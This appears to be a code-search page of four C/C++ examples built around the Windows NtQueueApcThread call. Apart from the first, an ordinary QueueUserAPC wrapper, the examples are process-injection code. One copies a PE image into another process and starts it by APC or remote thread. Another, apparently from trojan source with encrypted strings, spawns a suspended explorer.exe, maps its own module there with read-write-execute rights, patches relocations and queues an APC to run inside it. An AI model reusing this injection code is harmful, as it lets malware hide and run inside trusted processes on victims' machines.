Example #1
0
/***********************************************************************
 *              QueueUserAPC  (KERNEL32.@)
 */
DWORD WINAPI QueueUserAPC( PAPCFUNC func, HANDLE hthread, ULONG_PTR data )
{
    NTSTATUS status = NtQueueApcThread( hthread, call_user_apc, (ULONG_PTR)func, data, 0 );

    if (status) SetLastError( RtlNtStatusToDosError(status) );
    return !status;
}
Example #2
0
ESTATUS main_NtQueueApcThreadWrapper(
	HANDLE hThread, 
	PKNORMAL_ROUTINE pfnApcRoutine, 
	PVOID pvArg1, 
	PVOID pvArg2, 
	PVOID pvArg3
	)
{
	HMODULE hNtDll = NULL;
	HMODULE hKernel32 = NULL;
	HMODULE hUser32 = NULL;
	_NtQueueApcThread NtQueueApcThread = NULL;
	NTSTATUS ntStatus = NULL;
	ESTATUS eReturn = ESTATUS_INVALID;

	// If user32.dll is not loaded, the ATOM functions return access denied. For more details see:
	// http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html
	hUser32 = LoadLibrary(L"user32.dll");
	hKernel32 = GetModuleHandle(L"kernel32.dll");
	hNtDll = GetModuleHandle(L"ntdll.dll");

	eReturn = GetFunctionAddressFromDll(
		NTDLL, 
		NTQUEUEAPCTHREAD, 
		(PVOID *) &NtQueueApcThread
		);
	if (ESTATUS_FAILED(eReturn))
	{
		goto lblCleanup;
	}

	ntStatus = NtQueueApcThread(
		hThread, 
		pfnApcRoutine, 
		pvArg1, 
		pvArg2, 
		pvArg3
		);
	if (0 != ntStatus)
	{
		printf("NtQueueApcThread failed. ret: 0x%X (%d)\n\n\n", ntStatus, ntStatus);
		eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED;
		goto lblCleanup;
	}

	eReturn = ESTATUS_SUCCESS;

lblCleanup:

	return eReturn;
}
Example #3
0
BOOLEAN Inject::InjectImageToProcess(HANDLE ProcessHandle, PVOID ImageBase, DWORD ImageSize, HANDLE ThreadHandle)
{
	NTSTATUS St;
	BOOLEAN Result = FALSE;
	DWORD64 RemoteImage;
	DWORD64 StartRoutine;

	if (CopyImageToProcess(ProcessHandle, ImageBase, ImageSize, &RemoteImage))
	{
		StartRoutine = (DWORD64)PeLdr::PeGetProcAddress(ImageBase, ThreadHandle ? "InjectApcRoutine" : "InjectNormalRoutine", TRUE);
		if (StartRoutine)
		{
			StartRoutine = RemoteImage + (DWORD_PTR)StartRoutine;
			// Если есть поток вставляем апц (инжект в новый процесс)
			if (ThreadHandle)
			{
#ifndef _WIN64
				// Если мы 32
				if (Utils::IsWow64(NtCurrentProcess()))
				{
					// A таргет 64 вставляем апц через гейт
					if (!Utils::IsWow64(ProcessHandle))
					{
						St = x64Utils::x64NtQueueApcThread(ThreadHandle, StartRoutine, RemoteImage);
						if (NT_SUCCESS(St))
						{
							Result = TRUE;
						}
						else
						{
							DbgMsg(__FUNCTION__"(): x64NtQueueApcThread failed: %08X\r\n", St);
						}
					}
					// А таргет 32 вставляем просто
					else
					{
						St = NtQueueApcThread(ThreadHandle, (PVOID)StartRoutine, (PVOID)RemoteImage, NULL, NULL);
						if (NT_SUCCESS(St))
						{
							Result = TRUE;
						}
						else
						{
							DbgMsg(__FUNCTION__"(): NtQueueApcThread failed: %08X\r\n", St);
						}
					}
				}
				// Если мы 64
				else
#endif
				{
#ifdef _WIN64
					// А таргет 32 вставляем апц через вов64 враппер
					if (Utils::IsWow64(ProcessHandle))
					{
						St = RtlQueueApcWow64Thread(ThreadHandle, (PVOID)StartRoutine, (PVOID)RemoteImage, NULL, NULL);
						if (NT_SUCCESS(St))
						{
							Result = TRUE;
						}
						else
						{
							DbgMsg(__FUNCTION__"(): RtlQueueApcWow64Thread failed: %08X\r\n", St);
						}
					}
					// А таргет 64 вставляем просто
					else
#endif
					{
						St = NtQueueApcThread(ThreadHandle, (PVOID)StartRoutine, (PVOID)RemoteImage, NULL, NULL);
						if (NT_SUCCESS(St))
						{
							Result = TRUE;
						}
						else
						{
							DbgMsg(__FUNCTION__"(): NtQueueApcThread failed: %08X\r\n", St);
						}
					}
				}
			}
#ifndef _WIN64
			// Если нету потока создаем (инжект в существующий процесс)
			else
			{
				if (Utils::IsWow64(NtCurrentProcess()) && !Utils::IsWow64(ProcessHandle))
				{
					St = x64Utils::x64RtlCreateUserThread(ProcessHandle, StartRoutine, RemoteImage, &ThreadHandle);
					if (NT_SUCCESS(St))
					{
						Result = TRUE;

						CloseHandle(ThreadHandle);
					}
					else
					{
						DbgMsg(__FUNCTION__"(): x64RtlCreateUserThread failed: %08X\r\n", St);
					}
				}
				else
				{
					ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)StartRoutine, (PVOID)RemoteImage, 0, NULL);
					if (ThreadHandle)
					{
						Result = TRUE;

						CloseHandle(ThreadHandle);	
					}
					else
					{
						DbgMsg(__FUNCTION__"(): CreateRemoteThread failed: %08X\r\n", GetLastError());
					}
				}
			}
#endif
		}
	}

	return Result;
}
Example #4
0
void* CoreInject::_copyModuleToExplorer(void *image)
{
#if defined _WIN64
  PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
#else
  PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
#endif
  typedef NTSTATUS (WINAPI *tNtMapViewOfSection)(HANDLE,HANDLE,LPVOID,ULONG,SIZE_T,LARGE_INTEGER*,SIZE_T*,DWORD,ULONG,ULONG);
  typedef NTSTATUS (WINAPI *tNtQueueApcThread)(HANDLE,PIO_APC_ROUTINE,PVOID,PIO_STATUS_BLOCK,ULONG);

  CSTR_GETA(ntmapviewofsection,ntdll_ntmapviewofsection);
  CSTR_GETA(ntqueueapcthread,ntdll_ntqueueapcthread);
  CSTR_GETW(slashexplorerdotexe, explorer_exe);

  tNtMapViewOfSection NtMapViewOfSection=(tNtMapViewOfSection)Core::__GetProcAddress(coreData.modules.ntdll,ntmapviewofsection);
  tNtQueueApcThread NtQueueApcThread=(tNtQueueApcThread)Core::__GetProcAddress(coreData.modules.ntdll,ntqueueapcthread);
  WCHAR path[MAX_PATH];
  if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_WINDOWS, NULL, SHGFP_TYPE_CURRENT, path) == S_OK) Str::_catW(path, slashexplorerdotexe, CryptedStrings::len_explorer_exe - 1);
  WDEBUG1(WDDT_INFO, "EXPLORER.EXE PATH: %s", path);
  DWORD imageSize = ntHeader->OptionalHeader.SizeOfImage;
  bool ok         = false;
  DWORD viewSize = imageSize;
  void* remoteMem = 0;

  if(CWA(kernel32, IsBadReadPtr)(coreData.modules.current, imageSize) != 0)return NULL;
  
  //Выделние памяти для модуля.
 
  STARTUPINFOW st; PROCESS_INFORMATION pi;
  Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION));
  if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;}
  HANDLE hFile=CWA(kernel32,CreateFileMapping)(INVALID_HANDLE_VALUE,NULL, PAGE_EXECUTE_READWRITE,0,imageSize,NULL);
  
  if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process1");return NULL;}
  
  CWA(kernel32,TerminateProcess)(pi.hProcess,0);
  Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION));
  if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;}

  //Verjacrinq, uxxum enq koder@ u bacum noric
  if(remoteMem != NULL)
  {
    //Создаем локальный буфер, в котором будем вносить измненеия.
	LPBYTE buf=(LPBYTE)CWA(kernel32,MapViewOfFile)(hFile,FILE_MAP_ALL_ACCESS,0,0,0);
	if(buf <= 0) {WDEBUG0(WDDT_ERROR, "buf is null!");return NULL;}
	Mem::_copy(buf, image, imageSize);
    if(buf != NULL)
    {
      //Изменяем релоки.
      IMAGE_DATA_DIRECTORY *relocsDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
      
      if(relocsDir->Size > 0 && relocsDir->VirtualAddress > 0)
      {
        DWORD_PTR delta               = (DWORD_PTR)((LPBYTE)remoteMem - ntHeader->OptionalHeader.ImageBase);
        DWORD_PTR oldDelta            = (DWORD_PTR)((LPBYTE)image - ntHeader->OptionalHeader.ImageBase);
        IMAGE_BASE_RELOCATION *relHdr = (IMAGE_BASE_RELOCATION *)(buf + relocsDir->VirtualAddress);
      
        while(relHdr->VirtualAddress != 0)
        {
          if(relHdr->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))//FIXME: Что это?
          {
            DWORD relCount = (relHdr->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            LPWORD relList = (LPWORD)((LPBYTE)relHdr + sizeof(IMAGE_BASE_RELOCATION));
            
            for(DWORD i = 0; i < relCount; i++)if(relList[i] > 0)
            {
              DWORD_PTR *p = (DWORD_PTR *)(buf + (relHdr->VirtualAddress + (0x0FFF & (relList[i]))));
              *p -= oldDelta;
              *p += delta;
            }
          }
          
          relHdr = (IMAGE_BASE_RELOCATION *)((LPBYTE)relHdr + relHdr->SizeOfBlock);
        }


        //Копируем образ в процесс.
        //ok = CWA(kernel32, WriteProcessMemory)(process, remoteMem, buf, imageSize, NULL) ? true : false;
		
		{
		

			//Указываем текущий модуль.
			if(!copyDataToBuffer(buf, &coreData.modules.current, &remoteMem, sizeof(HMODULE)))
			{
			WDEBUG0(WDDT_ERROR, "Failed coreData.modules.current.");
			
			}
			{
				HANDLE processMutex = Core::createMutexOfProcess(pi.dwProcessId);
				HANDLE newMutex;
				if(CWA(kernel32, DuplicateHandle)(CURRENT_PROCESS, processMutex, pi.hProcess, &newMutex, 0, FALSE, DUPLICATE_SAME_ACCESS) == FALSE)
				{
					WDEBUG0(WDDT_ERROR, "Failed to duplicate mutex of process.");
				}
			}
			DWORD proccessFlags = 0;
			proccessFlags |= (coreData.proccessFlags & Core::CDPT_INHERITABLE_MASK);
			if(!copyDataToBuffer(buf, &coreData.proccessFlags, &proccessFlags, sizeof(DWORD)))
			{
			  WDEBUG0(WDDT_ERROR, "Failed coreData.proccessFlags.");
			}

			  //coreData.globalHandles.stopEvent.
			if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopEvent, coreData.globalHandles.stopEvent))
			{
				WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopEvent.");
			}

			//coreData.globalHandles.stopedEvent.
			if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopedEvent, coreData.globalHandles.stopedEvent))
			{
				WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopedEvent.");
			}

		}

		if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process");return NULL;}
		if(!NT_SUCCESS(NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)((LPBYTE)msg - (LPBYTE)coreData.modules.current + (LPBYTE)remoteMem), 0 ,0,0))){WDEBUG0(WDDT_ERROR, "NtQueueApcThread error"); CWA(kernel32,TerminateProcess)(pi.hProcess,0);};
		CWA(kernel32,ResumeThread)(pi.hThread);
		CWA(kernel32,CloseHandle)(pi.hThread);
		CWA(kernel32,CloseHandle)(pi.hProcess);

	  }
      
      CWA(kernel32,UnmapViewOfFile)(buf);
	  CWA(kernel32,CloseHandle)(hFile);
    }
    
    if(!ok)
    {
      remoteMem = NULL;
    }
  }

  return remoteMem;
}